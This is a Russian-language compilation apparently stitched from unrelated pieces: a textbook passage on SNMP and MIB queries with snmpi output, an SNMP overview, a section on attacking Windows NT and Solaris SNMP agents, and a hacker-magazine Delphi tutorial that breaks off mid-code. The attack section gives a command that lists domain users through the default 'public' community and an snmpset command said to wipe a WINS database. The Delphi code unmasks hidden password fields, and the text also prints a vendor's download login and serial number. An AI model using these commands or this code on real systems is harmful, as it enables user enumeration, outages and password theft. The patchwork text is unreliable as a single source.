вектора, все элементы которого имеют один и тот же тип. Элементы могут представлять собой простые объекты, например, типа целое. В этом случае мы имеем одномерный список. Но элементами вектора могут быть объекты типа SEQUENCE, тогда этот вектор описывает двумерный массив.

В MIB Internet каждый объект должен иметь имя (OBJECT IDENTIFIER), синтакс и метод кодировки.

Стандарт ASN.1 определяет форму представления информации и имен. Имена MIB-переменных соответствуют в свою очередь стандартам ISO и CCITT. Структура имен носит иерархический характер.

В табл. 1.26 охарактеризованы четыре простые переменные. Все эти переменные допускают только чтение.

В табл. 1.27 приведено описание таблицы udpTable (index=<udpLocalAddress>,<udpLocalPort>), состоящей из двух простых переменных, предназначенных только для чтения.

Согласно иерархии переменные, соответствующие icmp, должны иметь префикс (идентификатор) 1.3.6.1.2.1.5 или в символьном выражении iso.org.dod.internet.mgmt.mib.icmp. Если вы хотите узнать значение какой-то переменной, следует послать запрос, содержащий соответствующие префикс и суффикс (последний определяет имя конкретной переменной). Для простой переменной суффикс имеет вид .0.

Имя Переменной Тип данных Описание
UdpInDatagrams Counter Число UDP-дейтограмм, присланных процессам пользователя
UdpNoPorts Counter Число полученных UDP-дейтограмм, для которых отсутствует прикладной процесс в порте назначения
UdpInErrors Counter Число не доставленных UDP-дейтограмм (например, ошибка контрольной суммы)
UdpDatagrams Counter Число посланных UDP-дейтограмм
Таблица 1.26.
Имя Переменной Тип данных Описание
UdpLocalAddress IpAddress Местный IP-адрес для данного приемника
UdpLocalPort (0...65535) Местный номер порта приемника
Таблица 1.27.

Лучшим способом закрепить в памяти все вышесказанное является использование программы snmpi (SNMP initiator или SNMPWALK, NETGUARD, SNMPMAN для PC). Если в вашем распоряжении имеется ЭВМ, работающая под управлением UNIX, например SUN, вы можете попутно узнать много полезного о вашей локальной сети. Синтаксис обращения к snmpi:

snmpi [-a agent] [-с community] [-f file] [-p portno] [-d] [-v] [-w]

Программа snmpi крайне проста. Для того чтобы проверить, работает ли она, выдайте команду.

% snmpi dump

Следует отметить, что в ответ на эту операций будет произведена весьма объемная выдача.

Опция -a предлагает возможность ввести адрес SNMP-обьекта: имя ЭВМ, IP-адрес или транспортный адрес. По умолчанию это местная ЭВМ. Аналогично опция -р позволяет задать номер UDP-порта. По умолчанию это порт 61. Опция -с позволяет задать групповой пароль (community) для SNMP-запроса. По умолчанию это public, т.е. свободный доступ. Опция -f позволяет выбрать файл, содержащий откомпилированные описания MIB-модулей. По умолчанию это objects.defs. Опция -w включает режим наблюдения, осуществляя выдачу на терминал всех служебных сообщений. Уход из программы - по команде quit (q).

Если вы работаете на IBM PC, и ваша машина подключена к локальной сети, получите допуск к одной из UNIX-машин в сети (если вы его не имели) и приступайте. Можно начать с обращения типа.

Snmpi -a 193.124.224.33

(адрес или символьное имя надо взять из вашей локальной сети).

Машина откликнется, отобразив на экране snmpi>. Это означает, что программа имеется и вы можете вводить любые команды.

Начать можно со знакомства с системными переменными системы.

Snmpi> get sysDescr.0
Snmpi> sysDescr.0="GS Software (GS3-K), Version 9.1(4) [fc1], 
  SOFTWARE Copyright ї 1986-1993 by Cisco Systems, Inc. 
  Compiled Thu 25-Mar-93 09:49 by daveu"
snmpi> get sysObjectID.0
snmpi> sys0bjectlD.0=1.3.6.1.4.1.9.1.1
snmpi> get sysUpTime.0
snmpi> sysUpTime.0=14 days, 7 hours, 0 minutes, 15.27 seconds (123481527 timeticks)
snmpi> get sysServices.0
snmpi> sysServices.0=0x6<datalink/subnetwork, internet>

Код 0x06 (sysServices.0) представляет собой сумму кодов уровней модели SO, поддерживаемых системой. Для справок: 0хО1 - физический уровень; 0хО2 связной уровень; 0хО4 - Интернет; 0хО8 - связь точка-точка; 0хЧ0 - прикладной уровень.

Если вы хотите получить информацию о состоянии интерфейсов на одной из ЭВМ, подключенных к вашей локальной сети (команды вызова snmpi далее не повторяются; в ниже приведенных примерах в круглых скобках помещены комментарии автора), выдайте команды:

snmpi> nextifTable

(команда next в данном случае соответствует запросу get-next, здесь понятие "следующий" подразумевает порядок переменных в М1В).

snmpi> iflndex.1=1
snmpi> get ifDescr.1
snmpi> ifDescr.1="Ethernet0"
snmpi> get ifType.1
snmpi> ifType.1=ethernet-csmacd (6)
snmpi > get ifMtu.1
snmpi> IfMtu.1=1500
snmpi> get ifSpeed.1
snmpi> ifSpeed.1=10000000 (10М бит/с, Ethernet)
snmpi> get ifPhysAddress.1
snmpi> ifPhysAddress.1=0хО0:00:0c:02:За:49 (физический адрес интерфейса)
snmpi> next ifDescr.1 ifType.1 ifMtu.1 ifSpeed.1 ifPhysAddress.1
snmpi> ifDescr.2="Serial0"
ifType.2=propPointToPointSerial(22)
ifMtu.2=1500
ifSpeed.2=2048000 (2 M бит/с, радиорелейный последовательный канал, 
  спутниковый канал был бы охарактеризован точно также)

В приведенном примере размеры пересылаемых блоков для Ethernet и радиорелейного последовательного канала идентичны и равны 1500 байт. Помните, что SLIP-канал записан как PointToPointSerial, а не как SLIP. Скорость обмена по SLIP-каналу не сообщается.

Теперь просмотрим некоторые UDP-переменные. Например:

snmpi> next udp
snmpi> udpInDatagrams.0=98931
snmpi> next udpInDatagrams.0 (обратите внимание на суффикс простой переменной)
snmpi> udpNoPorts. 0=60009
snmpi> next udpLocalAddress.0
snmpi> udpLocalAddress.193.124.137.14.7=193.124.137.14 (Идентификатор этого 
  объекта 1.3.6.1.2.1.7.5.1.1.193.124.137.14.7)
snmpi> next udpLocalPort
snmpi> udpLocalPort.193.124.137.14.7=7

Если у вас возникла необходимость просмотреть таблицу, например, udpTable, это также можно сделать, используя snmpi:

snmpi> next udpTable
snmpi> udpLocalAddress.193.124.137.14.7=193.124.137.14
snmpi> next udpLocalAddress.193.124.137.14.7
snmpi> udpLocalAddress.193.124.224.33.67=193.124.224.33
snmpi> next udpLocalAddress.193.124.224.33.67
snmpi> udpLocalAddress.193.124.224.33.161=193.124.224.33
snmpi> next udpLocalPort.193.124.224.33.67
snmpi> udpLocalPort.193.124.224.33.161=161

Ниже показана методика выяснения алгоритма и параметров задания значения тайм-аута:

snmpi> get tcpRtoAlgorithm.0 tcpRtoMin.0 tcpRtoMax.0 tcpMaxConn.0 
snmpi> tcpRtoAlgorithm.0=vanj(4) (vanj - алгоритм Ван Джакобсона для расчета времени тайм-аута)
tcpRtoMin.0=300 (минимальное значение тайм-аута = 300 мс)
tcpRtoMax.0=60000 (максимальное - 60 с)
tcpMaxConn.0=-1 (никаких ограничений на число соединений)

Чтобы получить информацию о состоянии таблицы адресных преобразований, выдайте команду snmpi -а 193.124.224.33 dump at (процедуры с использование субкоманды dump требуют некоторого времени для своего исполнения). В результате получим:

AtIfIndex.1.1.193.124.224.33=1
AtIfIndex.1.1.193.124.224.35=1
AtIfIndex.3.1.192.148.166.203=3
AtIfIndex.3.1.192.148.166.205=3
AtIfIndex.5.1.145.249.30.33=5
AtIfIndex.5.1.192.148.166.98=5
AtPhysAddress.1.1.193.124.224.33=0x00:00:0c:02:3a:49
AtPhysAddress.1.1.193.124.224.35=0x00:00:20:12:1b:b1
AtPhysAddress.1.1.193.124.224.40=0x00:00:cd:f9:0d:e7
AtPhysAddress.1.1.193.124.224.50=0x00:00:0c:02:fb:c5
AtNetAddress.1.1.193.124.224.33=193.124.224.33
AtNetAddress.1.1.193.124.224.35=193.124.224.35
AtNetAddress.1.1.193.124.224.40=193.124.224.40
AtNetAddress.1.1.193.124.224.50=193.124.224.50
AtNetAddress.1.1.193.124.224.60=193.124.224.60

(текст выдачи сокращен).

Обычно элементы таблицы расположены в порядке колонка-ряд. Если вы дошли до края колонки или всей таблицы, ЭВМ выдаст (в зависимости от реализации программы) имя и значение следующего элемента или сообщение об ошибке.

Чтобы получить полный текст адресной таблицы в рамках snmpi достаточно выдать команду.

Snmpi> dump ipAddrTable
Snmpi> ipAdEntAddr.192.148.166.222=192.148.166.222
IpAdEntAddr.192.168.1.1=192.168.1.1
IpAdEntAddr.192.168.1.2=192.168.1.2
IpAdEntAddr.193.124.224.33=193.124.224.33
IpAdEntAddr.193.124.224.190=193.124.224.190
IpAdEntIfIndex.192.148.166.222=3
IpAdEntIfIndex.192.148.1.1=4
IpAdEntIfIndex.192.148.1.2=6
IpAdEntIfIndex.192.148.224.33=1
IpAdEntIfIndex.192.148.224.190=5

(маски субсетей).

IpAdEntNetMask.192.148.166.222=255.255.255.224
IpAdEntNetMask.192.148.1.1=255.255.255.0
IpAdEntNetMask.192.148.1.2=255.255.255.0
IpAdEntNetMask.192.148.224.33=255.255.255.224
IpAdEntNetMask.192.148.224.190=255.255.255.224
IpAdEntBcastAddr.192.148.166.222=1 (все эти субсети используют для широковещательной 
  адресации одни и те же биты).
IpAdEntBcastAddr.192.148.1.1=1
IpAdEntBcastAddr.192.148.1.2=1
IpAdEntBcastAddr.192.148.224.33=1
IpAdEntBcastAddr.192.148.224.190=1
IpAdEntReasmMaxSize.192.148.166.222=18024 (с точки зрения фрагментации и последующей 
  сборки дейтограмм данные субсети эквивалентны).
IpAdEntReasmMaxSize.192.148.1.1=18024
IpAdEntReasmMaxSize.192.148.1.2=18024
IpAdEntReasmMaxSize.192.148.224.33=18024
IpAdEntReasmMaxSize.192.148.224.190=18024

Эта распечатка совместно с приведенной для IfTable позволяет получить достаточно полную картину о данной конкретной локальной сети. Чтобы познакомиться с ARP таблицей, можно воспользоваться командой.

Sun> arp -a
Itepgw.itep.ru (193.124.224.33) at 0:0:c:2:3a:49
Nb.itep.ru (193.124.224.60) at 0:80:ad:2:24:b7

И дополнить полученные данные с помощью snmpi:

Snmpi> dump ipNetToMediaTable
Snmpi> ipNetToMediaIfIndex.1.193.124.224.33=1
ipNetToMediaIfIndex.1.193.124.224.35=1
ipNetToMediaIfIndex.3.192.148.166.193=3
ipNetToMediaIfIndex.3.192.148.166.196=3
ipNetToMediaIfIndex.3.193.124.226.110=3
ipNetToMediaIfIndex.5.195.249.30.33=5
ipNetToMediaIfIndex.5.192.148.166.100=5
ipNetToMediaPhysAddress.1.193.124.224.33=0x00:00:0c:02:3a:49
ipNetToMediaPhysAddress.3.192.148.166.196=0xaa:00:04:00:0c:04
ipNetToMediaPhysAddress.3.192.148.166.198=0xaa:00:04:00:0e:04
ipNetToMediaPhysAddress.3.192.148.166.203=0x00:00:01:00:54:62
ipNetToMediaPhysAddress.5.195.249.30.33=0x00:00:0c:02:69:7d
IpNetToMediaPhysAddress.5.192.148.166.100=0x00: 20:af: 15:c1: 61
IpNetToMediaPhysAddress.5.192.148.166.101=0x00:00:09:42:0d:e8
IpNetToMediaNetAddress.1.193.124.224.33=193.124.224.33
IpNetToMediaNetAddress.1.193.124.224.35=193.124.224.35
IpNetToMediaNetAddress.3.192.148.166.193=192.148.166.193
IpNetToMediaNetAddress.3.193.124.226.110=193.124.226.110
IpNetToMediaNetAddress.5.195.249.30.33=195.249.30.33
IpNetToMediaType.1.193.124.224.33=other(1)
IpNetToMediaType.1.193.124.224.35=dynamic(3)
IpNetToMediaType.1.193.124.224.37=dynamic(3)
IpNetToMediaType.3.192.148.166.195=dynamic(3)
IpNetToMediaType.3.192.148.166.222= other(1)
IpNetToMediaType.5.193.124.224.190= other(1)
IpNetToMediaType.5.193.124.225.33= other(1)
IpNetToMediaType.5.193.124.225.35=dynamic(3)

Синтаксис каждого объекта описывается в рамках ASN.1 и показывает побитовое представление объекта. Кодирование объекта характеризует то, как тип объекта отображается через его синтаксис и передается по телекоммуникационным каналам. Кодирование производится в соответствии с базовыми правилами кодирование ASN.1. Все описания объектов базируются на типовых шаблонах и кодах ASN.1 (см. RFC-1213). Формат шаблона:

OBJECT (объект):

Имя типа объекта с соответствующим ему идентификатором объекта.

(OBJECT IDENTIFIER)
Syntax (синтаксис): ASN.1 описание синтаксиса типа объекта Definition (Определение) Текстовое описание типа объекта Access (доступ) Опции доступа Status (состояние) Статус типа объекта.

Маршруты также являются объектами MIB. Согласно требованиям к MIB, каждому маршруту в этой базе соответствует запись.

Поле Место назначения представляет собой IP-адрес конечной точки маршрута. Поле Индекс интерфейса определяет локальный интерфейс (физический порт), через который можно осуществить следующий шаг по маршруту. Следующие пять полей (Метрика 1…5) характеризует оценку маршрута. В простейшем случае, например для протокола RIP, достаточно было бы одного поля. Но для протокола OSPF необходимо пять полей (разные TOS). Поле Следующий шаг представляет собой IP-адрес следующего маршрутизатора. Поле Тип маршрута имеет значение 4 для опосредованного достижения цели маршрута; 2 для нереализуемого маршрута и 1 для случаев, отличных от вышеперечисленных.

Место назначения (ipRouteDept) Индекс интерфейса (ipRouteIfIndex) Метрика 1 (ipRouteMetric1) Метрика 5 (ipRouteMetric5) Следующий шаг (ipRouteNextHop) Тип маршрута (ipRouteType) Протокол маршрутизации (ipRouteProto) Возраст маршрута (ipRouteAge) Маска маршрута (ipRouteMask) Маршрутная информация (ipRouteInfo)

Поле Протокол маршрутизации содержит код протокола. Для RIP этот код равен 8, для OSPF -13, для BGP -14, для ICMP -4, для прочих протоколов -1. Поле Возраст маршрута описывает время (в секундах), прошедшее с момента последней коррекции маршрута. Следующее поле Маска маршрута используется для выполнения логической побитовой операции И над адресом в IP-дейтограмме перед сравнением результата с кодом, хранящимся в первом поле записи ("место назначения"). Последнее поле Маршрутная информация содержит код, зависящий от протокола маршрутизации и обеспечивающий ссылки на соответствующую информацию в базе MIB.

Описание протокола SNMP (Simple Network Management Protocol).

Через 20 лет в детском саду (или в детском чате) мальчик спрашивает девочку: - A твои родители в каком чате познакомились?

Все серьезные системы управления сетями используют для своей работы простой сетевой протокол управления (Simple Network Management Protocol, SNMP). На самом деле SNMP - это не просто протокол, а целая технология, призванная обеспечить управление и контроль за устройствами и приложениями в сети. С ее помощью можно контролировать абсолютно любые устройства, подключенные к компьютерной сети, например датчики пожаротушения или даже светофоры. Разумеется, SNMP можно использовать (и это активно делают) для управления сетевыми компонентами: концентраторами, серверами, маршрутизаторами и т. п. Пользуясь информацией SNMP (такой, как показатель числа пакетов в секунду и коэффициент сетевых ошибок), сетевые администраторы могут более просто управлять производительностью сети и обнаруживать и решать сетевые проблемы.

Три составляющие части технологии SNMP: структура управляющей информации (Structure of Management Information, SMI) базы управляющей информации (Management Information Base, MIB) сам протокол SNMP.

Модель управления SNMP

Агентами в SNMP являются программные модули, которые работают в управляемых устройствах. Агенты собирают информацию об управляемых устройствах, в которых они работают, и делают эту информацию доступной для систем управления сетями (network management systems - NMS) с помощью протокола SNMP.

Протокол SNMP v1

SNMP реализован в 1988 практически во всех широко распространенных сетевых средах: TCP/IP, IPX/SPX, AppleTalk и др. Основной концепцией протокола является то, что вся необходимая для управления устройством информация хранится на самом устройстве - будь то сервер, модем или маршрутизатор - в так называемой Административной Базе Данных ( MIB - Management Information Base ). SNMP как непосредственно сетевой протокол предоставляет только набор команд для работы с переменными MIB. Этот набор включает следующие операции:

get-request Используется для запроса одного или более параметров MIB get-next-request Используется для последовательного чтения значений. Обычно используется для чтения значений из таблиц. После запроса первой строки при помощи get-request get-next-request используют для чтения оставшихся строк таблицы set-request Используется для установки значения одной или более переменных MIB get-response Возвращает ответ на запрос get-request, get-next-request или set-request trap Уведомительное сообщение о событиях типа cold или warm restart или "падении" некоторого linк'а.

Для того, чтобы проконтролировать работу некоторого устройства сети, необходимо просто получить доступ к его MIB, которая постоянно обновляется самим устройством, и проанализировать значения некоторых переменных.

Формат сообщений

Сообщения SNMP состоят из 2 частей: имени сообщества (community name) и данных (data). Имя сообщества назначает среду доступа для набора NMS, которые используют это имя. Информационная часть сообщения содержит специфичную операцию SNMP (get, set, и т.д.) и связанные с ней операнды. Операнды обозначают реализации об'екта, которые включены в данную транзакцию SNMP.

Structure of Managment Information. RFC 1208

Определяет логику адресации информации при взаимодействии агентов и менеджеров SNMP. Синтиксис описывается абстрактными правилами Abstract Syntax Notation One, ASN.1.

Managment Information Base (MIB, MIB-II). RFC 1213

MIB представляет из себя набор переменных, характеризующих состояние объекта управления. Эти переменные могут отражать такие параметры, как количество пакетов, обработанных устройством, состояние его интерфейсов, время функционирования устройства и т.п. Каждый производитель сетевого оборудования, помимо стандартных переменных, включает в MIB какие-либо параметры, специфичные для данного устройства (в поддерево private enterprise).

Как происходит адресация в MIB к некоторой ее переменной?

По своей структуре MIB представляет из себя дерево.Каждому элементу соответствует численный и символьный идентификатор. В имя переменной включается полный путь до нее от корневого элемента root.

Например, время работы устройства с момента перезагрузки хранится в переменной, находящейся в разделе system под номером 3 и называется sysUpTime. Соответственно, имя переменной будет включать весь путь: iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1).system(1).sysUpTime(3); или на языке чисел: 1.3.6.1.2.1.1.3. Следует заметить, что при этом узлы дерева разделяются точками.

Существует стандартная ветвь MIB, относящаяся к разделу управления mgmt, которую обычно поддерживают все сетевые устройства.

Тестирование сети с помощью SNMP

При помощи SNMP можно выполнять различные тесты функциональных возможностей сетевых устройств, определенные опять же на самих устройствах. Это бывает полезно, поскольку просто наблюдение статистики зачастую не дает полной картины происходящего.

Так, например, для раздела, относящегося к интерфейсам Ethernet, определен тест TDR (Time-domain reflectometry), позволяющий определять приблизительное расстояние до повреждения в коаксиальном кабеле. Для того, чтобы запустить TDR тест необходимо установить значение переменной ifЕхtnsТеstТуре (1.3.6.1.2.1.12.2.1.4), содержащей тип выполняемого теста, так, чтобы она содержала идентификатор теста TDR в MIB: 1.3.6.1.2.1.10.7.6.1.

Результатом теста будет, во-первых, значение переменной ifExtnsTestResult (1.3.6.1.2.1.12.2.1.5), характеризующей исход теста:

отсутствие результата успех выполняется не поддерживается невозможно запустить прекращен неудачное завершение

И во-вторых, значение переменной ifExtnsTestCode (1.3.6.1.2.1.12.2.1.6) будет содержать идентификатор переменной MIB, содержащей результат теста. Результат теста определен как временной интервал в 100-наносекундных единицах между началом передачи тестового пакета и обнаружением коллизий в несущей. В принципе, на основании данного значения можно определить требуемое расстояние.

SNMP v2

Фундаментальным новшеством в SNMPv2 является то, что элемент администрирования сети может работать в качестве менеджера, агента или менеджера и агента одновременно. Данная концепция дает возможность пользователям применять SNMP в иерархической структуре, в которой локальные менеджеры отчитываются перед менеджерами среднего звена, которые, в свою очередь, контролируются менеджером высшего уровня. Немало места отводится проблемам защищенности SNMP, пожалуй, самой уязвимой точки протокола.

Безопасность SNMP. RFC 1352.

Один из наиболее заметных недостатков SNMP v1 - отсутствие развитой системы защиты данных на уровне, необходимом для сетей масштаба предприятия.

Как сказал Mike Warfield: "SNMP stands for Security Not My Problem".

В SNMPv1 защита административной информации трактовалась слишком упрощенно: она базировалась на использовании коллективного имени (Community Name), которое, находясь в заголовке SNMP, несло в себе все возможности защиты сообщений. Данное средство (известное под названием тривиальный протокол) требовало, чтобы программа-агент и менеджер опознали одно и то же коллективное имя, прежде чем продолжить выполнение операций сетевого администрирования. В результате многие администраторы сетей ограничивались в своей работе только функциями мониторинга, запрещая выдачу команды SET, способной изменять параметры конфигурации удаленного устройства. Это привело к тому, что пользователи избегали команд SET: такое примитивное средство защиты, как коллективное имя, могло дать возможность лицам, не наделенным соответствующими полномочиями, изменять параметры, о чем пользователи могли даже и не узнать. К тому же вся критически важная информация передавалась в открытом виде,поэтому в интернете доступен даже snmp sniffer.

В связи с этим были разработаны предложения по совершенствованию защиты в рамках SNMPv1, представленные в июле 1992 г.; они составили основу структуры защиты для SNMPv2.

Стандартами защиты SNMPv2 определяются методы аутентификации (DAP - Digest Authentication Protocol) и обеспечения конфиденциальности (SPP -Symmetric Privacy Protocol) информации административного характера. В основе лежит концепция участника (party) - уникального набора параметров защиты, который может включать местоположение сети, протоколы аутентификации и обеспечения конфиденциальности, используемые между агентом и менеджером.

Проблемы внедрения SNMPv2

SNMPv2 сулит выгоды в плане защиты и производительности, что немаловажно для пользователей. Но некоторые компании наверняка предложат свои собственные идеи, особенно в части защиты и связей между менеджерами. Кроме того, фирмы, расширившие функциональные возможности своих баз данных MIB в средах с SNMPv1, вряд ли будут спешить с выпуском продуктов под SNMPv2.

Несомненно,пользователи захотят иметь продукты на базе SNMPv2. Но дело в том, что многие уже вложили слишком большие средства в версию SNMPv1, чтобы просто выбросить ее и начать все с нуля. Авторы SNMPv2 предвидели это и исходили из постепенности перехода на новую технологию. Предусмотрены два способа сохранения SNMPv1: использование уполномоченных агентов и двуязычных менеджеров. Уполномоченный агент выполняет преобразование форматов SNMPv1 в сообщения SNMPv2 и обратно.

Другой вариант - двуязычный менеджер, который одновременно поддерживает оба протокола (SNMPv1 и SNMPv2) и не требует преобразований. Двуязычный менеджер SNMP определяет, с каким форматом работает агент - версии 1 или версии 2, и общается на соответствующем диалекте. Таким образом, выбор версии протокола должен быть прозрачен для принимающих устройств.

К сожалению,вторая версия SNMP так до сих пор и не утверждена, поэтому в стане сетевого управления наблюдается разброд и шатания.

Доступные реализации агентов и менеджеров

http://www.microsoft.com/smsmgmt/ MS SMS Netmon.

http://www.winfiles.com/apps/98/net-manage.html куча разнообразных агентов и менеджеров для Win95.

Epilogue предлагает ПО, реализующее поддержку SNMP, включающую:

Envoy, Epilogue's compact, fast, portable SNMP solution for OEMs Emissary, an SNMP MIB compiler that allows SNMP implementors to extend standard SNMP variables to support extensions to the MIBs in each managed device; Ambassador, a complete, portable implementation of the RMON (FastEthernet) remote monitoring agent. The IBM Netview for AIX feature of SystemView provides distributed or centralized management of large heterogeneous networks. ACE*COMM WinSNMP supports SNMPv1 & SNMPv2u in v2.0 of its industry-leading Win16 and Win32 WinSNMP implementations. Digital Unix POLYCENTER Manager on NetView provides client/server management of multivendor enterprise networks. The PowerFlag tool - агент для UPS MIB источников бесперебойного питания компании Victron B.V. WS_Ping ProPack v.2.10 позволяет просматривать MIB таблицы, указывать поддеревья. Для скачавания свежих версий с сервера Ipswitch можно использовать следующие данные : User Name: 0000037181 Password: CQWSC Serial Number: WP-101333 Openly-Available Implementations CMU SNMP agent (source) an agent that support both SNMPv1 and SNMPv2u a number command line based applications that support both SNMPv1 and SNMPv2u. Carnegie-Mellon University SNMP Development Kit supporting SNMPv1/v2 NetSCARF is a Network Statistics Collection and Reporting Facility. It allows ISPs to collect and report data about their part of the Internet, supports both SNMP version 1 and USEC. Scotty is a network management extension for the Tool Command Language (Tcl) which includes a portable implementation of the SNMPv1, SNMPv2c and SNMPv2u protocol. The Scotty Tcl extension includes the network management platform (Tkined) which provides a MIB browser, a network map editor as well as status monitoring, troubleshooting, network discovery and event filtering scripts. snmptcp v1.3 is a extensible platform for management applications which seemlessly implements SNMPv1, SNMPv2c, and SNMPv2u. The package runs under the X Window System on UNIX and is built from Tool Command Language (Tcl7.3/Tk3.6).In addition to a MIB compiler, the package contains some minimal applications for a number of standard MIB modules.

Атака на Windows SNMP.

Сервисы работают на следующих UDP портах (/etc/services).

snmp 161/udp snmp snmp-trap 162/udp snmp

Интересные SMI Network Management Private Enterprise Codes:

Prefix: 1.3.6.1.4.1.

2 IBM 4 Unix 9 cisco 32 Santa Cruz Operation 42 Sun Microsystems

Небольшое распространение сканнеров UDP портов под Windows, SNMP менеджеров, а также отсутствие знаний о самом протоколе является, по всей видимости, единственной причиной малочисленности атак на устройства под управление SNMP v1, так как в реализациях этого протокола в некоторых операционные системы допущены серьезные ошибки. Подтверждения этому то и дело появляются в списках рассылки bugtraq.

Уязвимость в стандартной конфиругации Windows NT SNMP Сервиса.

Позволяет удаленно конфигурировать сетевые парамерты, которые влияют на безопасность и правильное функционирования системы (если администратор сам запустил SNMP Service).

При конфигурации по умолчанию, SNMP service отвечает на стандартное community ( имя ) "public", которое обладает права на чтение и запись. Community - это имя, которое обладает такими же функциями, как логин и пароль в системах.

Протокол SNMP предоставляет два уровня полномочий : read-only and read-write, однако до выхода SP4 Windows NT SNMP Service не позволял конфигурировать communities по доступу, отличному от read-write!

Если попытать обезопасить SNMP Service путем переименования community для доступа, то система останется незащищенной от крякера, имеющего аккаунт на машине, так как параметры SNMP Service находятся в регистри и доступны всем пользователям на чтение. Также Windows NT SNMP Service обладает возможностью ограничить доступ для списков IP-адресов. На первый взгляд это позволяет защититься от атак неизвестных систем, однако это не является проблемой для крякеров (что необходимо понимать любому администратору), так как протокол SNMP использует UDP протокол для обмена информацией, а он является протоколом без установления соединения, поэтому возможна подмена исходящего адреса (но для этого придется переработать исходники SNMP менеджеров под Unix и изучить UDP spoofing).

SNMP "set" операции ( позволяющие менять значение переменных ) могут быть произведены с подменой обратного адреса на любой, так как ответ не нужен. Однако если включено ограничение доверенных IP адресов, но придется найти аккаунт на атакуемой системе и извлечь доверенную информацию из регистри.

Благодаря сконфигурированному по умолчанию Windows NT SNMP Сервису мы можем извлечь с помощью SNMP менеджера следующую информацию :

the LAN Manager domain name a list of users a list of shares a list of running services

Как рекомендовалось в ISS sсаnnеr'е, можно выключить эту порцию SNMP mibs таким способом:

Открыть HKLM\System\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents найти значение, которое содержит SOFTWARE\Microsoft\LANManagerMIB2Agent\CurrentVersion и удалить его. a list of active TCP connections a list of active UDP connections a list of network interfaces and their associated IP and hardware addresses the IP routing table and the ARP table as well as a number of networking performance statistics.

Устанавливая переменные, крякер может модифицировать таблицу роуминга, ARP таблицу, выключить сетевые интерфейсы, сбить существенные сетевые параметры типа default IP, время жизни пакетов (TTL), IP forwarding (позволит крякеру перенаправлять сетевой трафик). Это особенно опасно, если атакуемая машина является фаерволом.

За примерами далеко ходить не надо, например, если машина является domain controller или server, но получить список всех пользователей в домене можно командой C:\NTRESKIT>snmputil walk public .1.3.6.1.4.1.77.1.2.25.

Если вам хочется удалить все записи в базе данных WINS ( что приведет к полному отказу WinNT ), то для этого необходимо выполнить ~$snmpset -v 1192.178.16.2 public .1.3.6.1.4.1.311.1.2.5.3.0 a 192.178.16.2 из набора CMU SNMP development kit under Unix.

Также есть очень любопытная деталь при установки SNMP community names в Windows NT 4.0 (SP3). Если сервис включен, а имена не сконфигурированы, то любое имя будет давать read/write привилегии. Как оказалось, это указано еще в спецификации SNMP ( RFC 1157 )!

Четвертый СервисПак(SP4) предоставляет следующее решение проблемы: добавление контроля доступа community как READ ONLY,READ WRITE или READE CREATE. Однако по умолчанию SP4 устанавливает READ CREATE доступ, который все еще позволяет атаковать машины. Микрософт явно заботиться об удобстве WinNT для хакеров :).

Лучший способ защиты по рекомендации M$: заблокировать SNMP access на firеwаll'е.

Проблема в OS Solaris версии до 2.6.

Исходя из ISS Security Advisory (November 2nd, 1998), в агенте SNMP, который по умолчанию запущен в этой системе, существуют реальные угрозы получить доступ на уровне рута, манипулировать процессами и параметрами машины.

Для доступа к MIB-информации существует скрытая "undocumented community string", которая позволит атакующему изменить большинство системных параметров.

К сожалению, само это community не называется, однако ISS Internet Scanner и ISS RealSecure real-time intrusion detection могут детектировать эту проблемы, т.е. посмотреть можно и в их исходниках.

Увидеть пароль скрытый за звёздочками 2.

Автор: Baa WEB-сайт: http://forum.vingrad.ru

Наверно так: хотя классов может быть больше.

procedure TForm1.Timer1Timer(Sender: TObject);
var
  Wnd: HWND;
  lpClassName: array[0..$FF] of Char;
begin
  Wnd := WindowFromPoint(Mouse.CursorPos);
  GetClassName(Wnd, lpClassName, $FF);
  if ((strpas(lpClassName) = 'TEdit') or (strpas(lpClassName) = 'EDIT')) then
    PostMessage(Wnd, EM_SETPASSWORDCHAR, 0, 0);
end;
Дополнение от: Mikel

Здесь проблема: если страница памяти защищена, то её нельзя прочитать таким способом, но можно заменить PasswordChar(пример: поле ввода пароля в удаленном соединении).

Увидеть пароль скрытый за звёздочками.

Статьи по Delphi (016)…

Не пей из чайника - чайником станешь...

Создание и использование DLL:

Благодаря твоим просьбам и запросам из HackFaq мне приходится отходить от плана согласованного с главредом. С одной стороны, ты толкаешь меня под окровавленный кровью авторов Х нож главреда. С другой стороны ты мне усложняешь жизнь по самые «не хочу». В любом случае, ничего хорошего. Если так пойдёт и дальше, то на ноже SinТЕZа появится моя свежая кровь. И следующий репортаж о кодинге мне придётся вести уже из морга.

Но что поделаешь. Сегодня мне приходится корректировать свой план и выполнять твои просьбы. В этом номере обе статьи кодинга построены по самым многочисленным просьбам.

Эта статья отвечает на наиболее часто задаваемый вопрос из HackFaq: «Как увидеть пароль спрятанный под звёздочками?». Для этого есть куча разных прог. Но мы же с тобой совместимые челы, поэтому не юзаем чужие творения. Вот поэтому мы создадим такую прогу сами. Тем более, что сам попросил объяснить, как это работает.

Шкодинг:

Для этого примера я написал DLL файл, который будет сейчас расписан перед твоими глазами. Ничего особо визуального мы сегодня делать не будем. Только кодинг и ничего больше. Кстати, я уже перешёл на Delphi 6, так что все исходники теперь будут писаться в нём. Если ты до сих пор застрял в Delphi 5, то бегом на рынок за свеженьким диском.

Для начала создадим новый проект. Но не тот, который использовали до этого, а проект DLL библиотеки. Для этого выбирай меню File->New->Other … (для Delphi 5 это просто File->New). Перед тобой откроется окно. Найди здесь пункт DLL Wizard и дважды кликни по нему. Delphi создаст пустой проект DLL библиотеки. Сразу нажми пимпу «Save», чтобы сохранить проект. В качестве имени введи «hackpass», это же и будет именем dll файла.

Теперь сотри весь текст, который написал Delphi и напиши:

library hackpass;
uses Windows, Messages;
var
 SysHook : HHook = 0;
 Wnd : Hwnd = 0;
function SysMsgProc(code : integer; wParam : word;
 lParam : longint) : longint; stdcall;
begin
 // Передать сообщение другим ловушкам в системе
 CallNextHookEx(SysHook, Code, wParam, lParam);
 // Проверяю сообщение
 if code = HC_ACTION then
 begin
   // Получаю идентификатор окна сгенерировавшего сообщение
   Wnd := TMsg(Pointer(lParam)^).hwnd;
   // Проверяю тип сообщения.
   // Если была нажата левая кнопка мыши
   // и удержана кнопка Control, то …
   if TMsg(Pointer(lParam)^).message = WM_LBUTTONDOWN then
     if ((TMsg(Pointer(lParam)^).wParam and MK_CONTROL) = MK_CONTROL) then
     begin
       // Убрать в окне отправившем сообщение зв¸здочки
